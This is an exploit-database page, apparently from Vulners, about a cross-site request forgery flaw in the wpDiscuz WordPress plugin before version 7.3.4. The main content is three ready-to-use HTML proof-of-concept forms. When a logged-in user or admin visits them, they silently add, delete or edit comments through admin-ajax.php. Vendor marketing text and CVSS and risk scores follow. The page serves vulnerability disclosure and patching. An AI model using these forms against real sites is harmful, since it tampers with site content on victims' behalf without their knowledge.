Lucene search
+L

wpDiscuz < 7.3.4 - Arbitrary Comment Addition/Edition/Deletion via CSRF

🗓️ 11 Oct 2021 00:00:00Reported by Brandon RoldanType 
wpexploit
 wpexploit
👁 809 Views

Arbitrary Comment Addition/Edition/Deletion via CSRF in wpDiscuz plugin

Related
Code
To make the logged in user add a comment
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdAddComment" />
      <input type="hidden" name="wc_comment" value="Comment added via CSRF" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="wpdiscuz_unique_id" value="dummy" />
      <input type="hidden" name="postId" value="811" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To delete a comment (CSRF against an admin)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdDeleteComment" />
      <input type="hidden" name="id" value="27" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To edit a comment (CSRF against user who made the comment or an admin to modify any comment)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdSaveEditedComment" />
      <input type="hidden" name="commentId" value="6" />
      <input type="hidden" name="wc_comment" value="Attacker CSRF" />
      <input type="hidden" name="postId" value="811" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Oct 2021 09:40Current
0.5Low risk
Vulners AI Score0.5
CVSS 3.14.3
CVSS 24.3
EPSS0.00467
809